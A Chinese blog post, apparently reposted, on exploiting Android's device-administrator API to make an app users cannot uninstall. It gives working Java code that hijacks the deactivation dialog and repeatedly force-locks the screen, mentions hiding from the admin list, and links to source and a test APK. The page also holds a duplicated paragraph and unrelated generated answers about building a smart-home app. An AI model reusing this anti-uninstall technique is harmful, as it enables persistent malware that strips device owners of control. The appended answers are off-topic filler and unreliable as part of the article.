编写一个无法卸载的App – 设备管理器漏洞

https://mp.weixin.qq.com/s?__biz=MzA3MDMyMjkzNg==&mid=211618188&idx=1&sn=4b08a3058b7d4861b5ade7024a02266e&scene=2&srcid=0915Dfg09vdhx4XRzLEM7ket&from=timeline&isappinstalled=0&key=dffc561732c22651f679f6aa86fccd3d6cee744a7f35eeff644d3c0dd5156a63a0352478fd660b3ca2d929afb9fbda39&ascene=2&uin=MTA5MzM0OTEwMA%3D%3D&devicetype=iPhone+OS7.1.2&version=16020313&nettype=WIFI&fontScale=100&pass_ticket=xFospPMFMbdCekSQHNAXb%2FA%2BuZKk60HwzxQ5181P7r2nL03CCMlcYCzuFd4%2BkrKR

前两天某朋友发现手机有个app无法卸载,后知其因设备管理器激活导致,遂去尝试取消,但却在取消那刻卡机。反复折腾之后,只能重刷。后来他发了一篇关于设备管理器bug的文章给我,便有了如下一番折腾。


尝鲜


文章《Android 学习 设备管理器勾选后不能再取消了》(作者:带个回家)大致意思是:


继承 DeviceAdminReceiver 重写 onDisableRequested(Context context, Intent intent) 即可达到目的。


@Override

public CharSequence onDisableRequested(Context context, Intent intent) {

// 这里处理 不可编辑设备。

Intent intent2 = new Intent(context, NoticeSetting.class);

intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startActivity(intent2);

context.stopService(intent);// 是否可以停止

return ""; // "这是一个可选的消息,警告有关禁止用户的请求";

}


在此之前,我并没有接触过设备管理器的功能,参考了 API Guides 的 Device Administration ,以及 DeviceAdminReceiver 的 API 后,试着写了一个跟上述文章一样的 app,4.4 & 5.0均测试失败,可以正常取消激活。


再战


搜索,找到《Android设备管理器漏洞》(作者:Jack_Jia)另一篇讲解此问题的文章。文章提到:


如果想在设备管理器列表中”隐身“,只要不注册 android.app.action.DEVICE_ADMIN_ENABLED 广播就行。


也就是不给 intent-filter 标签设置该 action。


<receiver

android:name=".MyDeviceReceiver"

android:description="@string/receiver_description"

android:label="@string/app_name"

android:permission="android.permission.BIND_DEVICE_ADMIN">

<meta-data

android:name="android.app.device_admin"

android:resource="@xml/device_manager_policies" />

<intent-filter>


</intent-filter>

</receiver>


4.4 & 5.0测试失败,设备管理器无法激活(代码激活不会弹出,设备管理器又找不到)。


三战


继续搜索,发现百度安全实验室一篇文章《Android设备管理器漏洞2》。文章提到:


已激活设备管理器权限的手机木马利用该漏洞,可以在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限,从而达到无法卸载的目的。Android4.2版本以上系统已经修复该漏洞。



通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。



onDisableRequested函数满足以下条件即可:


1、返回内容不能为空,这样才可以使设备管理器弹出取消激活设备管理器警示信息 Dialog。


2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。

如果做到以上两点,程序即可成功阻止用户取消激活设备管理器操作。

故,只要在 onDisableRequested 方法中,让用户在取消激活时5s内无法操作界面,然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api,采用了百度提供的连续锁屏法。测试环境为5.0。


故,只要在 onDisableRequested 方法中,让用户在取消激活时5s内无法操作界面,然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api,采用了百度提供的连续锁屏法。测试环境为5.0。


public CharSequence onDisableRequested(Context context, Intent intent) {


//跳离当前询问是否取消激活的 dialog

Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");

outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startActivity(outOfDialog);


//调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后

final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);

dpm.lockNow();

new Thread(new Runnable() {

@Override

public void run() {

int i = 0;

while (i < 70) {

dpm.lockNow();

try {

Thread.sleep(100);

i++;

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}).start();


return "";

}


安装后打开直接跳转激活界面:



一旦激活则无法正常卸载


进入设备管理器界面


尝试取消激活


强制进入锁屏


至此,用户用普通方法无法卸载该app。测试使用某数字软件可以卸载,具体步骤:在数字软件的软件卸载功能中卸载Trick,此时提示取消激活,跳转到设备管理器界面取消激活,引发锁屏,强制锁屏7s结束后,切回数字软件,你会发现出现了取消激活的dialog,点击取消成功。


而文章开头提到的流氓软件,实则是跳转到一个所有按钮无效的自定义全屏界面(不是我这样跳到设置界面),使用数字软件无法解决问题。


总结


日后看到设备管理器激活申请定要小心三分,本文提及内容请勿不正当使用。


相关下载


源码Gist

测试APK,安装后激活则无法卸载。

恢复APK,覆盖安装后可顺利取消激活。


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 要编写一个智能家居app,你需要考虑以下几个步骤: 1. 确定需求:首先,你需要明确智能家居app需要满足哪些需求。这可能包括控制灯光、温度、安全系统等等。 2. 设计架构:在确定需求后,你需要设计app的架构。这包括定义数据模型,建立用户界面,设计与各种智能设备的通信协议等。 3. 开发和测试:在设计好架构后,你需要开始编写代码并进行测试。这个过程可能需要一些时间,因为你需要确保app在各种情况下都能正常工作。 4. 上线发布:完成开发和测试后,你可以将app发布到各大应用商店,例如App Store和Google Play。你需要注意确保app能够在各种不同的设备上运行,并能够正常连接到各种智能设备。 总体而言,编写一个智能家居app需要耗费大量时间和精力。你需要具备一定的编程知识和技能,以及对智能家居技术的深入了解。同时,你还需要对用户体验有一定的认识,以确保app能够得到广泛的用户接受。 ### 回答2: 编写一个智能家居app需要以下步骤: 1.确定功能需求:在开始编写app之前,首先需要确定app的功能需求。例如,你想为用户提供哪些智能家居控制的功能,例如家庭安全,温度控制,照明控制等。 2.设计用户界面:根据功能需求,设计一个良好的用户界面。用户界面应该简洁明了,易于操作和理解。可以使用草图或原型设计工具来设计界面。 3.开发和集成API:根据功能需求,使用合适的编程语言和开发工具来编写app的前端和后端代码。例如,使用Java或Swift编写iOS和Android的原生应用程序,或者使用HTML,CSS和JavaScript编写跨平台的应用程序。同时,集成智能家居设备的API,以便与设备进行通信和控制。 4.建立用户认证和安全性:为了保护用户数据和家庭安全,确保为用户提供安全的认证和访问控制。例如,使用密码,指纹或面部识别等方法进行身份验证。 5.连接和测试设备:将app与智能家居设备进行连接和测试。确保app可以与各种设备进行通信,并正确地控制和监控它们。 6.优化性能和用户体验:在发布app之前,进行性能测试和用户体验测试。确保app响应迅速,没有bug,并提供流畅的用户体验。 7.发布和推广:将app发布到相关的应用商店,并进行推广活动。确保用户能够轻松找到并下载你的app。 8.持续更新和改进:持续关注用户反馈,并定期更新和改进app。不断改进和添加新功能,以满足用户不断变化的需求。 以上是编写一个智能家居app的基本步骤。当然,具体实施可能会因为个人需求和技术限制而有所差异。 ### 回答3: 编写一个智能家居应用程序需要以下步骤: 1.需求分析:初步确定智能家居app的功能和需求,包括设备控制、远程监控、定时任务等。要考虑用户友好界面、安全性、互联互通等因素。 2.设计架构:根据需求分析,设计app的系统架构。包括前端界面设计、后端服务器架构、数据库设计等。确保系统的稳定性和可扩展性。 3.开发前端界面:使用合适的开发工具和技术,开发出app的用户界面。要考虑到不同设备和操作系统的兼容性,确保app在各种设备上都能正常运行。 4.开发后端服务器:建立一个可靠的后端服务器,实现用户设备的连接、指令传输等功能。要考虑到用户隐私和数据安全的问题,确保用户信息的保护。 5.设备连接与控制:通过合适的通信协议和技术,将智能家居设备与app进行连接,实现设备的远程控制、状态监测等功能。要测试设备兼容性和通信稳定性。 6.开发定时任务和自动化功能:根据用户需求,实现定时任务和自动化控制功能,例如定时开关灯、自动调节室温等。保证任务的准确性和稳定性。 7.测试和优化:对app进行全面的测试,包括功能测试、性能测试、安全测试等。根据测试结果进行优化和修复bug,确保app的稳定性和用户体验。 8.发布和推广:将开发完成的智能家居app发布到不同的应用商店或平台上,并进行合适的宣传和推广,吸引用户下载和使用。 最后,及时更新和维护软件,根据用户反馈和市场需求进行功能增加和改进,不断提升智能家居app的质量和用户满意度。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值